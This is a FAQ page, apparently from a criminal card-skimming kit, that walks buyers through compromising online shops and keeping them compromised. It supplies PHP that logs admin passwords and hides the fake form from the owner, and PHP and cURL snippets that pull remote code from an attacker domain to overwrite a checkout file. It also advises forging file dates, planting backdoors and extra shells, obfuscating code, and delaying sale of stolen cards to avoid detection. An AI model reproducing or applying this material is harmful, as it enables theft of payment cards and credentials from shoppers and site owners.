<h2>Useful tips</h2>
<p align="justify">This section contains very useful information on working with shops, will help extend the life of your shops, some nuances when installing the sniffer, example scripts and much more. <strong>I highly recommend</strong> do not neglect this section and <strong>read it completely</strong>(even though it is quite big), it will help you save time and money.</p>
<h3>Do not show the form to the shop owner</h3>
<p align="justify">The first thing you need to do when you got the shop is to install your code on the admin panel and get admin ip and write the cookie <strong>SESSION</strong> so that in the future no forms will be shown to everyone who has this cookie. You can also get login/password data to admin panel along the way and other information such as browser, country, etc., as you wish. Automatic JS code generator for your sniffer checks this cookie(<strong>SESSION</strong>) and does not show the form if the cookie exists, while the values can be anything, the main thing is that there is a cookie with this name. If you use your own code, be it php or js, you can give it any name, but always set the cookie to admin. This will prolong your shop's life because the admin will not see that the form is different.</p>

<p align="justify">You can slightly modify the php code below that saves the admin data when admin logging into the admin panel. This code is inserted into the config.php file or on the page where the <strong>POST</strong> request is processed when someone logging into the admin panel</p>

<p>
<?php

highlight_string('
if($_SERVER[\'REQUEST_METHOD\']==\'POST\' and strlen($_POST[\'email\'])>1 and strlen($_POST[\'passwd\'])>1){
	$expiration_time = time() + (10 * 365 * 24 * 60 * 60);
	@setcookie("SESSION", md5(uniqid()), $expiration_time, "/"); 

	$save=fopen(\'/home/shop/domains/shop.com/public_html/modules/simpleimportproduct/my-errors.log\',\'a+\');
	fwrite($save,$_POST[\'email\'].\'|\'.$_POST[\'passwd\'].\'|\'.date(\'d.m.Y H:i\',time()).\'|\'.$_SERVER[\'REMOTE_ADDR\']."\n");
	fclose($save);
}
');

?>
</p><br />

<p align="justify">In the example above, the data is saved to a file <strong>my-errors.log</strong> and the path to the location of this file on the shop server is indicated(your path will be different). Variables <strong>$_POST['email']</strong> and <strong>$_POST['passwd']</strong> these are the admin login and password variables(yours may be different). Wait 1-2 days, check the file, then don't forget to remove it and then you can put your card sniffer code on the shop.</p>

<h3>Can't upload a file to the shell?</h3>
<p align="justify">It often happens that there are rights to write, but the file is not uploaded because of a firewall or cloud. It is also impossible to edit files. In this case, the simplest solution would be to rename your upload file to <strong>txt</strong> format, for example <strong>config.txt</strong> if the file is uploaded, then just rename it to <strong>config.php</strong> by means of your shell and the problem is solved. In case if <strong>config.txt</strong> file doesn't upload, then it's more complicated. So, then go to the Php code execution section of your shell.(In the shell I gave you is called "Action" and by default the execution of php code will be selected). </p>

<p align="justify">Insert this php code:</p>

<p>
<?php

highlight_string('
$c=file_get_contents(\'http://MYDOMAIN.COM/1.txt\');
$s=fopen(\'/home/myshop/domains/myshop.com/public_html/modules/supercheckout/controllers/front/supercheckout.php\',\'w+\');
fwrite($s,$c); fclose($s);
');

?>
</p><br />

<p><img src="./inc/ajax/faq/images/php.jpg"></p>

<p>Where:</p>

<p><i>http://MYDOMAIN.COM/1.txt</i></p>

<p align="justify">this is a link to file with the contents of your file. You can upload this file to the shell where there aren't problems with uploading or on your server. Please note that the file format must be <strong>txt</strong> so that the contents of the file are visible and it is not executed on the server.</p>

<p><i>/home/myshop/domains/myshop.com/public_html/modules/supercheckout/controllers/front/supercheckout.php</i></p>

<p align="justify">This is the path to the file on the shop server that you want to change. In this example I used the old function <strong>file_get_contents</strong> which can get data on <strong>http</strong> If you have a second server with a certificate(with https), then use <strong>cURL:</strong></p>

<p>
<?php

highlight_string('
$ch = curl_init(\'https://MYDOMAIN.COM/1.txt\');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$c = curl_exec($ch);
curl_close($ch);

$s=fopen(\'/home/myshop/domains/myshop.com/public_html/modules/supercheckout/controllers/front/supercheckout.php\',\'w+\');
fwrite($s,$c); fclose($s);
');

?>
</p><br />


<p align="justify">If you do everything correctly, the file <strong>supercheckout.php</strong> will be successfully replaced by the contents of the file:</p>

<p><i>http://MYDOMAIN.COM/1.txt</i></p>

<h3>Always change the date of files</h3>

<p align="justify">In order to lives for a long time for your shops always change the date of the files you edited, as well as the modification date of the folders. When admin finds out that some other code is being executed on their shop, the admins first look at the folders and files in them by the date of the last change. It is very noticeable when all the folders were created in 2022 and there is one folder 2025 and the files in it are all the same 2022, but one 2025, naturally the admin will go look at this file and what has been changed in it, compare it with the original, etc. Of course, the date includes not only the year, but also the month/day, minutes and even seconds in some cases. So before uploading files, look at the date of the folder where you want to upload the file, save it and after uploading the file, change the last edit date back to what it was. The date of the uploaded/edited file can be set as the neighboring file.</p>

<p align="justify">Good advice of course, but how to do it? Don't worry, I've already taken care of it for you. In shell which I gave you, it can be done in 2 clicks:</p><br />

<p><img src="./inc/ajax/faq/images/set_date.jpg"></p>

<p align="justify">just copy the date of the adjacent file or compose it in the same format as it is displayed opposite each file, select "Set Date", click "Apply" and the file date will change.</p>

<h3>The code was deleted, but access remains?</h3>

<p align="justify">If your code was detected, then you shouldn't upload the same file that you edited to the same place, try hiding it in another place, or change the approach, for example, if your code was embedded in a php file, then you can try to do it through JS next time. Of course, wait a couple of weeks for the admin to think that by deleting the code he fixed everything. Most likely, the shop will not live long after being discovered, but you can still use it for a couple more weeks or even a month. Especially if you hide your code well next time(for example, you can put your code in the middle of the jquery file, it will be hard to find).</p>

<h3>Name files accordingly</h3>

<p align="justify">It's trivial, but many people neglect this - name your shells/uploaded files normally, based on the folder it was uploaded to(if the folder contains files like <strong>SQLconnect.php</strong>, <strong>sql-config.php</strong>, etc., then you can create a file that will not stand out, for example <strong>sql-validate.php</strong>), also load several shells and edit the files of the engine itself with the implementation of backdoor so that if your shells are detected and deleted, you can upload new ones, make a map of all the site directories and save it somewhere so that later you can use the backdoor to know where to upload it.</p>

<h3>Search for neighbors shells</h3>

<p align="justify">As I described in the advice on changing the date, admins look at the modification dates of files and directories. You can administer your shell yourself and be an admin to save yourself from neighbors or dishonest shell sellers. Shell sellers are not very smart and do not bother with dates, you can see which folders have been changed recently, view files that have been recently edited/created and get rid of shells/other people's forms, etc. For simplicity, you can write a PHP script that (if possible) will display all files/folders by creation/editing date. You can also scan all files, let's say in php, for the presence of the function (text) <strong>eval()</strong> and watch the files that will be found (usually shells like to use this function, including various crypts). You will find these scripts in the "useful scripts" folder that comes with the sniffer programm. They can be executed in the "Actions" section of the shell (which comes with the sniffer program), as I described in the file upload tip.</p>

<h3>How do I know if another sniffer code has already been set?</h3>

<p align="justify">It's quite simple. Open the page where the payment form is, fill in the payment details (it's not necessary to enter your card, you can use a fake one or generated by online generators) and open the developer console (it's advisable to use the TOR browser). After that, click pay and first look at the console. If you find something like this:</p>

<p><img src="./inc/ajax/faq/images/socket.jpg"></p>

<p align="justify">So it means that someone else's sniffer code already installed.</p>

<p align="justify">If there is no sending via socket, then go to the network tab and look for suspicious activity there (often all sorts of JS/CSS/images will be loaded there, but we are interested in POST/GET requests to pages, so check only them). If everything is clean there, it means there is no other sniffer code and the shop is clean(at least there is no JS code. If the shop has a native form (which is extremely rare), then you need to check the server files for PHP sniffer code. This is much more complicated and requires good PHP programming skills). If, when opening the developer console, the browser starts to slow down/crush, or the payment/data validation buttons stop working, or simply redirect to some neutral site, this means that the other sniffer code has been installed and viewing of the developer console is blocked.</p>

<h3>Make normal forms of payment</h3>

<p align="justify">The most important thing is that the form of your sniffer code does not visually differ from the one on the shop, and I am not only talking about the form itself, but also consider its behavior when the user, for example, enters data incorrectly (I mean the validation of the data being filled in). Making forms yourself takes a long time and requires knowledge of html/css/js, sometimes php, so to simplify the process you can order the creation of a form from people who specialize in this (the exploit forum has services for creating such forms). At the moment I am not involved in creating such forms (maybe in the future I will). In order for the programmer to be able to correctly make you a form and a validator for it, you must tell him the nuances of the generator (if you use an automatic generator). You can simply copy the FAQ section where they are described (FAQ section -> JS generator -> Iframe form) and give it to your coder.</p>
<p align="justify">I also want to note that even if your shop has a redirect to a third-party payment gateway, still do everything beautifully. If the user sees a clumsy form where anything can be entered instead of card numbers, this will immediately raise suspicions. The automatic generator has a standard form with validation where everything works fine. You can use it if it does not stand out much in the design of the shop.</p>

<h3>Some useful links</h3>

<p align="justify">On these sites you can generate an identity with name, address, phone number and card details:</p>

<p>
<?php

highlight_string('
https://www.fakenamegenerator.com/
https://www.fakexy.com/
');

?>
</p><br />

<p align="justify">And on these sites you can obfuscate your php code:</p>

<p>
<?php

highlight_string('
http://wb0.ru/phpobf.php
https://www.php-obfuscator.com/?lang=english&demo
');

?>
</p>

<h3>And finally...</h3>

<p align="justify">Perhaps the most valuable piece of advice I can give you and perhaps one you didn't know - do not sell cards the next day, sell those that are a month or more old, this will extend the life of your shops. After a month the user will forget where and even what he bought and accordingly there will be no complaints and with this approach some of your shops can live even for years! If there are no complaints, then the admins will not look at anything.</p>